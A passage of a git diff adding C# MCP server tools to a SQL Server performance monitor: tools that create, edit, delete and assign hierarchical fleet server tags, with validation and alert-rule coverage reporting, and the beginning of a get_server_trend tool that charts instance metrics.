+        "Creates a fleet server tag, at the root or under parent_id. Tags organize the server list and scope custom alert rules: a rule scoped to a tag covers every server under its whole subtree. Names are trimmed, 1-100 characters, unique among siblings ignoring case; tags nest at most four levels. colour is #RRGGBB; omit it for the palette colour the Viewer assigns. Returns the stored tag, or invalid/conflict/not_found with nothing written. Find tag ids and server ids in get_fleet_overview.")]
+    public static Task<string> CreateServerTag(
+        NpgsqlDataSource postgres,
+        [Description("The tag name (1-100 characters, trimmed, unique among siblings).")] string name,
+        [Description("The parent tag id (from get_fleet_overview tags); omit for a root tag.")] int? parent_id = null,
+        [Description("The colour as #RRGGBB; omit for the palette colour.")] string? colour = null,
+        CancellationToken cancellationToken = default) =>
+        CreateServerTagCore(new ServerTagStore(postgres, WriteCommandSeconds), name, parent_id, colour, cancellationToken);
+
+    [McpServerTool(Name = "update_server_tag"), Description(
+        "PARTIAL edit of a fleet server tag: send only name, colour or parent_id in changes_json; an explicit null clears colour or moves the tag to the root. A move carries the subtree and its assignments, is refused if it would create a cycle or exceed four levels, and changes which servers custom alert rules scoped to old or new ancestors cover: affected_rules names them. Returns updated (re-read from the store), unchanged, or invalid/conflict/not_found with nothing written.")]
+    public static Task<string> UpdateServerTag(
+        NpgsqlDataSource postgres,
+        [Description("The tag id (from get_fleet_overview tags).")] int tag_id,
+        [Description("A JSON object with ONLY the fields to change: name, colour, parent_id (e.g. {\"name\":\"East\"}). An explicit null clears colour or moves the tag to the root.")] string changes_json,
+        CancellationToken cancellationToken = default) =>
+        UpdateServerTagCore(new ServerTagStore(postgres, WriteCommandSeconds), tag_id, changes_json, cancellationToken);
+
+    [McpServerTool(Name = "delete_server_tag"), Description(
+        "Deletes a fleet server tag AND its whole subtree of child tags and their server assignments; servers and collected data are untouched. Permanent. If a custom alert rule is scoped to the tag or a descendant, that rule would match no server: the call answers confirm_required naming those rules and deletes nothing; repeat with confirm=true to proceed. Rules scoped to an ancestor are reported as losing servers. Returns deleted with the removed tag ids and assignment count.")]
+    public static Task<string> DeleteServerTag(
+        NpgsqlDataSource postgres,
+        [Description("The tag id (from get_fleet_overview tags).")] int tag_id,
+        [Description("True to proceed when custom alert rules are scoped to the subtree; default false.")] bool confirm = false,
+        CancellationToken cancellationToken = default) =>
+        DeleteServerTagCore(new ServerTagStore(postgres, WriteCommandSeconds), tag_id, confirm, cancellationToken);
+
+    [McpServerTool(Name = "assign_server_tag"), Description(
+        "Assigns one fleet server tag to one or more servers (server_ids from get_fleet_overview) in one write; servers already carrying it are a no-op. Every server_id must be a monitored server or nothing is written. Custom alert rules scoped to the tag or an ancestor start covering the added servers: affected_rules names them. Returns assigned with added and already-assigned ids, unchanged, not_found or invalid.")]
+    public static Task<string> AssignServerTag(
+        NpgsqlDataSource postgres,
+        [Description("The tag id (from get_fleet_overview tags).")] int tag_id,
+        [Description("1-1000 server ids (from get_fleet_overview); duplicates are ignored.")] int[] server_ids,
+        CancellationToken cancellationToken = default) =>
+        AssignServerTagCore(new ServerTagStore(postgres, WriteCommandSeconds), tag_id, server_ids, cancellationToken);
+
+    [McpServerTool(Name = "unassign_server_tag"), Description(
+        "Removes one fleet server tag from one or more servers (server_ids) in one write; servers not carrying it are a no-op. Custom alert rules scoped to the tag or an ancestor stop covering a removed server unless another tag under the rule's scope still holds it: affected_rules names each rule and the servers it loses. No confirm step; assign again to undo. Returns unassigned, unchanged, not_found or invalid.")]
+    public static Task<string> UnassignServerTag(
+        NpgsqlDataSource postgres,
+        [Description("The tag id (from get_fleet_overview tags).")] int tag_id,
+        [Description("1-1000 server ids (from get_fleet_overview); duplicates are ignored.")] int[] server_ids,
+        CancellationToken cancellationToken = default) =>
+        UnassignServerTagCore(new ServerTagStore(postgres, WriteCommandSeconds), tag_id, server_ids, cancellationToken);
+
+    // ---------------------------------------------------------------- cores
+
+    /// <summary>create_server_tag's body over the store seam.</summary>
+    internal static async Task<string> CreateServerTagCore(
+        IServerTagStore store, string? name, int? parentId, string? colour, CancellationToken ct = default)
+    {
+        try
+        {
+            var before = await store.ReadSnapshotAsync(ct);
+            var refusal = ServerTagRules.CheckCreate(before.Tags, name, parentId, colour, out var cleanName, out var cleanColour);
+            if (refusal is not null)
+            {
+                return FromWriteResult(refusal, null)!;
+            }
+
+            var written = await store.CreateAsync(cleanName, parentId, cleanColour, ct);
+            if (written is not ServerTagWriteResult.Ok ok || ok.Tag is null)
+            {
+                return FromWriteResult(written, null)!;
+            }
+
+            var after = await store.ReadSnapshotAsync(ct);
+            var tag = after.Tags.FirstOrDefault(t => t.Id == ok.Tag.Id);
+            if (tag is null)
+            {
+                return ConcurrentlyGone(ok.Tag.Id);
+            }
+
+            return Serialize(new JsonObject
+            {
+                ["status"] = "created",
+                ["tag"] = TagNode(after, tag),
+                ["affected_rules"] = RulesNode(ServerTagCoverage.Diff(before, after), before, after),
+            });
+        }
+        catch (Exception ex)
+        {
+            return McpHelpers.FormatError("create_server_tag", ex);
+        }
+    }
+
+    /// <summary>update_server_tag's body over the store seam.</summary>
+    internal static async Task<string> UpdateServerTagCore(
+        IServerTagStore store, int tagId, string? changesJson, CancellationToken ct = default)
+    {
+        try
+        {
+            var (edit, error, errorCode) = ParseChanges(changesJson);
+            if (error is not null)
+            {
+                return Refusal("invalid", errorCode ?? "invalid", error);
+            }
+
+            var before = await store.ReadSnapshotAsync(ct);
+            var refusal = ServerTagRules.CheckUpdate(before.Tags, tagId, edit!, out var cleanName, out var cleanColour);
+            if (refusal is not null)
+            {
+                return FromWriteResult(refusal, null)!;
+            }
+
+            var stored = before.Tags.First(t => t.Id == tagId);
+            var changed = new List<string>();
+            var reduced = new ServerTagEdit(false, null, false, null, false, null);
+            if (edit!.HasName && !string.Equals(cleanName, stored.Name, StringComparison.Ordinal))
+            {
+                changed.Add("name");
+                reduced = reduced with { HasName = true, Name = cleanName };
+            }
+
+            if (edit.HasColour && !string.Equals(cleanColour, stored.Colour, StringComparison.OrdinalIgnoreCase))
+            {
+                changed.Add("colour");
+                reduced = reduced with { HasColour = true, Colour = cleanColour };
+            }
+
+            if (edit.HasParent && edit.ParentId != stored.ParentId)
+            {
+                changed.Add("parent_id");
+                reduced = reduced with { HasParent = true, ParentId = edit.ParentId };
+            }
+
+            if (changed.Count == 0)
+            {
+                return Serialize(new JsonObject
+                {
+                    ["status"] = "unchanged",
+                    ["tag"] = TagNode(before, stored),
+                    ["affected_rules"] = new JsonArray(),
+                });
+            }
+
+            var written = await store.UpdateAsync(tagId, reduced, ct);
+            if (written is not ServerTagWriteResult.Ok)
+            {
+                return FromWriteResult(written, null)!;
+            }
+
+            var after = await store.ReadSnapshotAsync(ct);
+            var tag = after.Tags.FirstOrDefault(t => t.Id == tagId);
+            if (tag is null)
+            {
+                return ConcurrentlyGone(tagId);
+            }
+
+            return Serialize(new JsonObject
+            {
+                ["status"] = "updated",
+                ["updated_fields"] = new JsonArray(changed.Select(f => (JsonNode?)JsonValue.Create(f)).ToArray()),
+                ["tag"] = TagNode(after, tag),
+                ["affected_rules"] = RulesNode(ServerTagCoverage.Diff(before, after), before, after),
+            });
+        }
+        catch (Exception ex)
+        {
+            return McpHelpers.FormatError("update_server_tag", ex);
+        }
+    }
+
+    /// <summary>delete_server_tag's body over the store seam.</summary>
+    internal static async Task<string> DeleteServerTagCore(
+        IServerTagStore store, int tagId, bool confirm, CancellationToken ct = default)
+    {
+        try
+        {
+            var before = await store.ReadSnapshotAsync(ct);
+            var refusal = ServerTagRules.CheckDelete(before.Tags, tagId);
+            if (refusal is not null)
+            {
+                return FromWriteResult(refusal, null)!;
+            }
+
+            var scoped = ServerTagCoverage.RulesScopedInSubtree(before, tagId);
+            if (scoped.Count > 0 && !confirm)
+            {
+                return ConfirmRequiredEnvelope(tagId, scoped.Count, scoped, before);
+            }
+
+            // The store re-reads the rules under its delete lock, so a rule scoped in since the snapshot above
+            // still stops an unconfirmed delete.
+            var written = await store.DeleteAsync(tagId, confirm, ct);
+            if (written is ServerTagWriteResult.ConfirmRequired locked)
+            {
+                return ConfirmRequiredEnvelope(tagId, locked.Rules.Count, locked.Rules, before, locked.Message);
+            }
+
+            if (written is not ServerTagWriteResult.Ok ok)
+            {
+                return FromWriteResult(written, null)!;
+            }
+
+            var after = await store.ReadSnapshotAsync(ct);
+            if (after.Tags.Any(t => t.Id == tagId))
+            {
+                return Serialize(new JsonObject
+                {
+                    ["status"] = "error",
+                    ["message"] = string.Create(CultureInfo.InvariantCulture, $"Tag {tagId} is still in the store after the delete was reported as done."),
+                });
+            }
+
+            return Serialize(new JsonObject
+            {
+                ["status"] = "deleted",
+                ["tag_id"] = tagId,
+                ["deleted_tag_ids"] = IntArray(ok.RemovedTagIds ?? new[] { tagId }),
+                ["removed_assignments"] = ok.RemovedAssignments,
+                ["affected_rules"] = RulesNode(ServerTagCoverage.Diff(before, after), before, after),
+            });
+        }
+        catch (Exception ex)
+        {
+            return McpHelpers.FormatError("delete_server_tag", ex);
+        }
+    }
+
+    private static string ConfirmRequiredEnvelope(
+        int tagId, int count, IReadOnlyList<TagScopedRule> rules, ServerTagSnapshot before, string? message = null)
+    {
+        var names = string.Join(", ", rules.Select(r => $"'{r.Name}'"));
+        return Serialize(new JsonObject
+        {
+            ["status"] = "confirm_required",
+            ["refusal"] = RulesAffectedCode,
+            ["message"] = message ?? string.Create(
+                CultureInfo.InvariantCulture,
+                $"Deleting tag {tagId} and its subtree would leave {count} custom alert rule(s) scoped to it matching no server: {names}. Nothing was deleted. Repeat with confirm=true to proceed."),
+            ["tag_id"] = tagId,
+            ["affected_rules"] = RulesNode(ServerTagCoverage.SimulateDelete(before, tagId), before, before),
+        });
+    }
+
+    /// <summary>assign_server_tag's body over the store seam.</summary>
+    internal static async Task<string> AssignServerTagCore(
+        IServerTagStore store, int tagId, IReadOnlyList<int>? serverIds, CancellationToken ct = default)
+    {
+        try
+        {
+            var ids = Normalize(serverIds, out var idsError);
+            if (idsError is not null)
+            {
+                return Refusal("invalid", "invalid", idsError);
+            }
+
+            var before = await store.ReadSnapshotAsync(ct);
+            var refusal = ServerTagRules.CheckDelete(before.Tags, tagId);
+            if (refusal is not null)
+            {
+                return FromWriteResult(refusal, null)!;
+            }
+
+            var registered = await store.FindRegisteredServerIdsAsync(ids, ct);
+            var unknown = ids.Where(id => !registered.Contains(id)).ToList();
+            if (unknown.Count > 0)
+            {
+                return Refusal(
+                    "not_found",
+                    UnknownServerCode,
+                    string.Create(CultureInfo.InvariantCulture, $"Server id(s) {string.Join(", ", unknown)} are not monitored servers. Nothing was written."),
+                    new JsonObject { ["unknown_server_ids"] = IntArray(unknown) });
+            }
+
+            var held = before.Assignments.Where(a => a.TagId == tagId).Select(a => a.ServerId).ToHashSet();
+            var pending = ids.Where(id => !held.Contains(id)).ToList();
+            IReadOnlyList<int> added = Array.Empty<int>();
+            if (pending.Count > 0)
+            {
+                try
+                {
+                    added = await store.AssignAsync(tagId, pending, ct);
+                }
+                catch (ServerTagGoneException)
+                {
+                    return ConcurrentlyGone(tagId);
+                }
+            }
+
+            var after = await store.ReadSnapshotAsync(ct);
+            var tag = after.Tags.FirstOrDefault(t => t.Id == tagId);
+            if (tag is null)
+            {
+                return ConcurrentlyGone(tagId);
+            }
+
+            var already = ids.Where(id => !added.Contains(id)).ToList();
+            var result = new JsonObject
+            {
+                ["status"] = added.Count == 0 ? "unchanged" : "assigned",
+                ["tag"] = TagNode(after, tag),
+            };
+            if (added.Count > 0)
+            {
+                result["added_server_ids"] = IntArray(added.OrderBy(i => i));
+            }
+
+            result["already_assigned_server_ids"] = IntArray(already);
+            result["affected_rules"] = RulesNode(ServerTagCoverage.Diff(before, after), before, after);
+            return Serialize(result);
+        }
+        catch (Exception ex)
+        {
+            return McpHelpers.FormatError("assign_server_tag", ex);
+        }
+    }
+
+    /// <summary>unassign_server_tag's body over the store seam. The registered-server check is NOT applied: a
+    /// removed server can still hold assignment rows, and those must stay removable.</summary>
+    internal static async Task<string> UnassignServerTagCore(
+        IServerTagStore store, int tagId, IReadOnlyList<int>? serverIds, CancellationToken ct = default)
+    {
+        try
+        {
+            var ids = Normalize(serverIds, out var idsError);
+            if (idsError is not null)
+            {
+                return Refusal("invalid", "invalid", idsError);
+            }
+
+            var before = await store.ReadSnapshotAsync(ct);
+            var refusal = ServerTagRules.CheckDelete(before.Tags, tagId);
+            if (refusal is not null)
+            {
+                return FromWriteResult(refusal, null)!;
+            }
+
+            var held = before.Assignments.Where(a => a.TagId == tagId).Select(a => a.ServerId).ToHashSet();
+            var pending = ids.Where(held.Contains).ToList();
+            IReadOnlyList<int> removed = Array.Empty<int>();
+            if (pending.Count > 0)
+            {
+                removed = await store.UnassignAsync(tagId, pending, ct);
+            }
+
+            var after = await store.ReadSnapshotAsync(ct);
+            var tag = after.Tags.FirstOrDefault(t => t.Id == tagId);
+            if (tag is null)
+            {
+                return ConcurrentlyGone(tagId);
+            }
+
+            var notAssigned = ids.Where(id => !removed.Contains(id)).ToList();
+            var result = new JsonObject
+            {
+                ["status"] = removed.Count == 0 ? "unchanged" : "unassigned",
+                ["tag"] = TagNode(after, tag),
+            };
+            if (removed.Count > 0)
+            {
+                result["removed_server_ids"] = IntArray(removed.OrderBy(i => i));
+            }
+
+            result["not_assigned_server_ids"] = IntArray(notAssigned);
+            result["affected_rules"] = RulesNode(ServerTagCoverage.Diff(before, after), before, after);
+            return Serialize(result);
+        }
+        catch (Exception ex)
+        {
+            return McpHelpers.FormatError("unassign_server_tag", ex);
+        }
+    }
+
+    // ------------------------------------------------------------ arguments
+
+    /// <summary>De-duplicates and bounds a server id list; the error is non-null when the list cannot be used.</summary>
+    private static List<int> Normalize(IReadOnlyList<int>? serverIds, out string? error)
+    {
+        error = null;
+        var ids = (serverIds ?? Array.Empty<int>()).Distinct().OrderBy(i => i).ToList();
+        if (ids.Count == 0)
+        {
+            error = "Send at least one server id.";
+        }
+        else if (ids.Count > MaxServerIds)
+        {
+            error = string.Create(CultureInfo.InvariantCulture, $"At most {MaxServerIds} server ids per call; got {ids.Count}.");
+        }
+        else if (ids.Any(i => i <= 0))
+        {
+            error = "Server ids are positive whole numbers.";
+        }
+
+        return ids;
+    }
+
+    /// <summary>Parses update_server_tag's <c>changes_json</c> the way update_mute_rule parses its body: a
+    /// whitelist, the first error wins, and nothing is written when any field is bad.</summary>
+    private static (ServerTagEdit? Edit, string? Error, string? Code) ParseChanges(string? changesJson)
+    {
+        if (string.IsNullOrWhiteSpace(changesJson))
+        {
+            return (null, "changes_json is required: a JSON object with the fields to change, e.g. {\"name\":\"East\"}.", null);
+        }
+
+        JsonNode? root;
+        try
+        {
+            root = JsonNode.Parse(changesJson);
+        }
+        catch (Exception ex) when (ex is JsonException or ArgumentException)
+        {
+            return (null, "changes_json is not valid JSON: " + ex.Message, null);
+        }
+
+        if (root is not JsonObject body)
+        {
+            return (null, "changes_json must be a JSON object holding any of name, colour and parent_id.", null);
+        }
+
+        /* A duplicate property name throws ArgumentException on the first enumeration; that is a caller's
+           malformed body, not a server fault, so force it here where it can answer invalid. */
+        try
+        {
+            _ = body.Count;
+        }
+        catch (ArgumentException)
+        {
+            return (null, "changes_json has a duplicate field.", null);
+        }
+
+        bool hasName = false, hasColour = false, hasParent = false;
+        string? name = null, colour = null;
+        int? parentId = null;
+        foreach (var prop in body)
+        {
+            switch (prop.Key)
+            {
+                case "name":
+                    if (prop.Value is JsonValue nameValue && nameValue.TryGetValue<string>(out var n))
+                    {
+                        if (string.IsNullOrWhiteSpace(n))
+                        {
+                            return (null, "'name' is blank. A tag needs a name; send a non-blank value.", ServerTagRules.BadName);
+                        }
+
+                        hasName = true;
+                        name = n;
+                    }
+                    else
+                    {
+                        return (null, "'name' must be a non-blank string; it cannot be cleared.", ServerTagRules.BadName);
+                    }
+
+                    break;
+                case "colour":
+                    if (prop.Value is null)
+                    {
+                        hasColour = true;
+                        colour = null;
+                    }
+                    else if (prop.Value is JsonValue colourValue && colourValue.TryGetValue<string>(out var c))
+                    {
+                        if (string.IsNullOrWhiteSpace(c))
+                        {
+                            return (null, "'colour' is blank. Pass null to clear it, or a #RRGGBB value.", ServerTagRules.BadColour);
+                        }
+
+                        hasColour = true;
+                        colour = c.Trim();
+                    }
+                    else
+                    {
+                        return (null, "'colour' must be a #RRGGBB string, or null to clear it.", ServerTagRules.BadColour);
+                    }
+
+                    break;
+                case "parent_id":
+                    if (prop.Value is null)
+                    {
+                        hasParent = true;
+                        parentId = null;
+                    }
+                    else if (prop.Value is JsonValue parentValue && parentValue.TryGetValue<int>(out var p))
+                    {
+                        hasParent = true;
+                        parentId = p;
+                    }
+                    else
+                    {
+                        return (null, "'parent_id' must be a whole-number tag id, or null to move the tag to the root.", null);
+                    }
+
+                    break;
+                case "tag_id":
+                case "id":
+                    return (null, $"'{prop.Key}' is the tag's identity and cannot be edited. Pass the tag to edit as tag_id; send only the fields to change.", UnknownFieldCode);
+                case "sort_order":
+                    return (null, "'sort_order' is not editable here; the Viewer orders siblings.", UnknownFieldCode);
+                default:
+                    return (null, $"Unknown field '{prop.Key}'. Editable fields: name, colour, parent_id.", UnknownFieldCode);
+            }
+        }
+
+        if (!hasName && !hasColour && !hasParent)
+        {
+            return (null, "No editable fields were provided. Send only the fields to change (name, colour, parent_id).", null);
+        }
+
+        return (new ServerTagEdit(hasName, name, hasColour, colour, hasParent, parentId), null, null);
+    }
+
+    // -------------------------------------------------------------- results
+
+    /// <summary>Maps a non-Ok store or rules result to its envelope; null for <c>Ok</c>.</summary>
+    private static string? FromWriteResult(ServerTagWriteResult result, JsonObject? extra) => result switch
+    {
+        ServerTagWriteResult.Refused r => Refusal("invalid", r.Code, r.Message, extra),
+        ServerTagWriteResult.Conflict c => Refusal("conflict", ServerTagRules.DuplicateName, c.Message, extra),
+        ServerTagWriteResult.NotFound n when n.Code is not null => Refusal("not_found", n.Code, n.Message, extra),
+        ServerTagWriteResult.NotFound n => Refusal("not_found", null, n.Message, extra),
+        _ => null,
+    };
+
+    private static string ConcurrentlyGone(int tagId) =>
+        Refusal(
+            "not_found",
+            null,
+            string.Create(CultureInfo.InvariantCulture, $"The write to tag {tagId} landed and the tag is no longer in the store: it was deleted concurrently."));
+
+    /// <summary>A <c>{status, refusal, message, ...}</c> envelope for an outcome that wrote nothing.</summary>
+    private static string Refusal(string status, string? code, string message, JsonObject? extra = null)
+    {
+        var node = new JsonObject { ["status"] = status };
+        if (code is not null)
+        {
+            node["refusal"] = code;
+        }
+
+        node["message"] = message;
+        if (extra is not null)
+        {
+            foreach (var prop in extra.ToList())
+            {
+                extra.Remove(prop.Key);
+                node[prop.Key] = prop.Value;
+            }
+        }
+
+        return Serialize(node);
+    }
+
+    private static string Serialize(JsonNode node) => node.ToJsonString(McpHelpers.JsonOptions);
+
+    private static JsonArray IntArray(IEnumerable<int> values) =>
+        new(values.Select(v => (JsonNode?)JsonValue.Create(v)).ToArray());
+
+    private static JsonObject TagNode(ServerTagSnapshot snapshot, ServerTagRow tag)
+    {
+        var names = new List<string> { tag.Name };
+        var parent = tag.ParentId;
+        for (var steps = 0; parent is int id && steps < ServerTagRules.MaxWalkSteps; steps++)
+        {
+            var row = snapshot.Tags.FirstOrDefault(t => t.Id == id);
+            if (row is null)
+            {
+                break;
+            }
+
+            names.Insert(0, row.Name);
+            parent = row.ParentId;
+        }
+
+        return new JsonObject
+        {
+            ["tag_id"] = tag.Id,
+            ["name"] = tag.Name,
+            ["parent_id"] = tag.ParentId,
+            ["colour"] = tag.Colour,
+            ["sort_order"] = tag.SortOrder,
+            ["depth"] = ServerTagRules.Depth(snapshot.Tags, tag.Id),
+            ["path"] = string.Join(" / ", names),
+        };
+    }
+
+    private static JsonArray RulesNode(IReadOnlyList<RuleCoverageEffect> effects, ServerTagSnapshot before, ServerTagSnapshot after)
+    {
+        var array = new JsonArray();
+        foreach (var effect in effects)
+        {
+            var scope = after.Tags.FirstOrDefault(t => t.Id == effect.ScopeTagId)
+                ?? before.Tags.FirstOrDefault(t => t.Id == effect.ScopeTagId);
+            array.Add(new JsonObject
+            {
+                ["rule_id"] = effect.RuleId,
+                ["name"] = effect.Name,
+                ["enabled"] = effect.Enabled,
+                ["scope_tag_id"] = effect.ScopeTagId,
+                ["scope_tag_name"] = scope?.Name,
+                ["effect"] = effect.Effect,
+                ["servers_lost"] = IntArray(effect.ServersLost),
+                ["servers_lost_count"] = effect.ServersLostCount,
+                ["servers_gained"] = IntArray(effect.ServersGained),
+                ["servers_gained_count"] = effect.ServersGainedCount,
+            });
+        }
+
+        return array;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTrendTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTrendTools.cs
new file mode 100644
index 0000000000..fa44217293
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTrendTools.cs
@@ -0,0 +1,484 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+#pragma warning disable CA1707 // MCP tools use snake_case naming convention
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// <c>get_server_trend</c> (#4843): the per-server instance trends the desktop viewer charts on its CPU, Memory and
+/// Overview, Activity, Latch / Spinlock and Collection Health, tempdb and File I/O tabs, behind one tool with a <c>metric</c> switch: <c>total_waits</c>,
+/// <c>cpu_scheduler</c>, <c>memory_clerks</c>, <c>plan_cache</c>, <c>latch</c>, <c>spinlock</c>, <c>session_stats</c> and
+/// <c>collector_duration</c>, <c>tempdb_file_io</c>, <c>tempdb_size</c> and <c>file_io_throughput</c>. Every metric reads the same SQL the viewer's chart reads
+/// (<see cref="ServerTrendSql"/>), windowed on both sides, bucketed to the same width ladder as the other trend tools
+/// (<see cref="TrendBuckets"/>), and ends with the shared <c>discontinuities[]</c> block.
+///
+/// <para>Points are stamped at the bucket's start. A field with no value is omitted rather than written as null,
+/// except a cpu_scheduler count, which the shared SQL averages as 0 when a collection did not report it.
+/// An empty window is a status envelope that tells a quiet window from a collector that never ran, and a
+/// gated engine from both.</para>
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpServerTrendTools
+{
+    /// <summary>The metrics this tool serves, in the order its description lists them.</summary>
+    internal static readonly string[] Metrics = ["total_waits", "cpu_scheduler", "memory_clerks", "plan_cache", "latch", "spinlock", "session_stats", "collector_duration", "tempdb_file_io", "tempdb_size", "file_io_throughput"];
+
+    /// <summary>The most points an explicitly requested width may put on the wire, across every clerk series.</summary>
+    internal const int MaxPoints = 1500;
+
+    /// <summary>How many series (clerk types, latch classes, spinlocks or collectors) a call follows when the caller names none.</summary>
+    internal const int DefaultClerkCount = 5;
+
+    /// <summary>The most clerk types, or the most <c>names</c>, one call may name.</summary>
+    internal const int MaxClerkCount = 10;
+
+    private const string TrendGuide =
+        " total_waits is every wait type summed into one wait_time_ms_per_second rate (summed wait time over the seconds it covered); a collection whose interval was unknowable is left out, not drawn as 0. cpu_scheduler points average the runnable, blocked and queued task counts; a count a collection did not report averages as 0, not as missing. memory_clerks gives one series per clerk type, in MB; clerk_types names them (comma-separated, up to 10, matched exactly), default the 5 heaviest in the window; named types with no samples in the window come back in missing_clerk_types. plan_cache gives single-use and multi-use plan cache MB. latch gives wait_time_ms_per_second and spinlock collisions_per_second, one series per latch class or spinlock name, as a rate over the seconds each collection covered (a collection whose interval was unknowable is left out); names narrows them (comma-separated, up to 10, matched exactly), default the 5 with the most wait time or collisions in the window, and named ones with no samples come back in missing_names. session_stats averages the server-wide session counts per bucket and carries the top application and host of the newest collection in each bucket. collector_duration gives one series per collector of its longest and average successful run and the run count per bucket; names narrows it, default the 5 with the longest run. tempdb_file_io gives one series per tempdb file of avg_read_latency_ms and avg_write_latency_ms (summed stall over summed operations; 0 when the file did no reads or writes in the bucket); names are tempdb file names, default the 5 with the most operations. tempdb_size is the allocated size, reserved plus unallocated MB, averaged per bucket. file_io_throughput gives read_mb_per_sec and write_mb_per_sec per file, named database.file (for example tempdb.tempdev), as bytes over the seconds each collection covered; a collection whose interval was unknowable is left out; names narrows them, default the 5 with the most bytes. Everything else is a level, averaged per bucket.";
+
+    [McpServerTool(Name = "get_server_trend"), Description(
+        "Gets one instance trend over time in buckets, ending at as_of. metric is one of total_waits, cpu_scheduler, memory_clerks, plan_cache, latch, spinlock, session_stats, collector_duration, tempdb_file_io, tempdb_size, file_io_throughput. A quiet window answers empty; unavailable means the collector has never run; not_collected covers a gated engine. <<GUIDE>>" + TrendGuide + BaselineDiscontinuities.DescriptionSentence)]
+    public static Task<string> GetServerTrend(
+        NpgsqlDataSource postgres,
+        [Description("The metric; the tool description lists them.")] string metric,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Hours of history. Default 24.")] int hours_back = 24,
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description(TrendBuckets.BucketMinutesDescription)] int? bucket_minutes = null,
+        [Description("memory_clerks only: clerk types, comma-separated, exact case. Default the 5 heaviest.")] string? clerk_types = null,
+        [Description("Series names, exact case; default top 5.")] string? names = null,
+        CancellationToken cancellationToken = default) =>
+        GetServerTrend(postgres, metric, server_name, hours_back, as_of, bucket_minutes, clerk_types, names, TrendBudget.Mcp(MaxPoints), cancellationToken);
+
+    /// <summary>get_server_trend under an explicit <paramref name="budget"/>: the MCP tool passes its own, the web
+    /// viewer's <c>/api/read</c> mirror passes <see cref="TrendBudget.Chart"/>.</summary>
+    internal static async Task<string> GetServerTrend(
+        NpgsqlDataSource postgres, string? metric, string? server_name, int hours_back, string? as_of, int? bucket_minutes,
+        string? clerk_types, string? names, TrendBudget budget, CancellationToken cancellationToken = default)
+    {
+        var name = (metric ?? string.Empty).Trim().ToLowerInvariant();
+        if (!Metrics.Contains(name, StringComparer.Ordinal))
+        {
+            return McpHelpers.Refusal(
+                "metric",
+                $"Invalid metric '{metric}'. Must be one of: {string.Join(", ", Metrics)}.");
+        }
+
+        if (!string.IsNullOrWhiteSpace(clerk_types) && name != "memory_clerks")
+        {
+            return McpHelpers.Refusal("clerk_types", $"clerk_types applies to metric memory_clerks only, not {name}. Omit it.");
+        }
+
+        var kind = SeriesOf(name);
+        if (!string.IsNullOrWhiteSpace(names) && (kind is null || kind.Param != "names"))
+        {
+            return McpHelpers.Refusal("names", $"names applies to metrics latch, spinlock, collector_duration, tempdb_file_io and file_io_throughput only, not {name}. Omit it.");
+        }
+
+        var selected = ParseClerks(kind?.Param == "names" ? names : clerk_types);
+        if (selected.Count > MaxClerkCount)
+        {
+            return McpHelpers.Refusal(kind?.Param ?? "clerk_types", $"{kind?.Param ?? "clerk_types"} names {selected.Count} {kind?.Noun ?? "clerk types"}; at most {MaxClerkCount} per call.");
+        }
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        if (validation != null) return validation;
+
+        var widthError = TrendBuckets.ValidateWidth(bucket_minutes);
+        if (widthError != null) return widthError;
+
+        try
+        {
+            var end = windowEnd;
+            var start = end.AddHours(-hours_back);
+
+            if (kind is not null)
+            {
+                if (selected.Count == 0)
+                {
+                    selected = await ReadTopNamesAsync(postgres, kind, resolved.ServerId, start, end, name, cancellationToken);
+                }
+
+                if (selected.Count == 0)
+                {
+                    return await EmptyAsync(postgres, resolved, name, hours_back, cancellationToken);
+                }
+            }
+
+            /* A session_stats point carries twelve fields, four of them text, so it is sized as several single-field points. */
+            var seriesCount = kind is not null ? selected.Count : name == "session_stats" ? SessionPointWeight : 1;
+            var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, seriesCount, budget, out var bucketMinutes);
+            if (bucketError != null) return bucketError;
+
+            var envelope = new Dictionary<string, object?>
+            {
+                ["server"] = resolved.ServerName,
+                ["metric"] = name,
+                ["hours_back"] = hours_back,
+                ["bucket"] = TrendBuckets.Word(bucketMinutes),
+                ["bucket_minutes"] = bucketMinutes,
+                ["aggregate_note"] = Note(name, bucketMinutes, bucket_minutes is not null, budget.AutoPoints),
+            };
+
+            if (kind is not null)
+            {
+                var series = await ReadSeriesAsync(postgres, name, kind, resolved.ServerId, selected, start, end, bucketMinutes, cancellationToken);
+                var named = !string.IsNullOrWhiteSpace(kind.Param == "names" ? names : clerk_types);
+                if (series.Count == 0)
+                {
+                    return named
+                        ? await NoNamedSeriesAsync(postgres, resolved, kind, selected, start, end, hours_back, name, cancellationToken)
+                        : await EmptyAsync(postgres, resolved, name, hours_back, cancellationToken);
+                }
+
+                var missing = named ? selected.Where(c => !series.ContainsKey(c)).ToList() : [];
+                if (missing.Count > 0)
+                {
+                    envelope[kind.Missing] = missing;
+                }
+
+                envelope["series"] = selected
+                    .Where(series.ContainsKey)
+                    .Select(c => new Dictionary<string, object?> { [kind.Key] = c, ["trend"] = series[c] })
+                    .ToList();
+            }
+            else
+            {
+                var points = await ReadPointsAsync(postgres, name, resolved.ServerId, start, end, bucketMinutes, cancellationToken);
+                if (points.Count == 0)
+                {
+                    return await EmptyAsync(postgres, resolved, name, hours_back, cancellationToken);
+                }
+
+                envelope["trend"] = points;
+            }
+
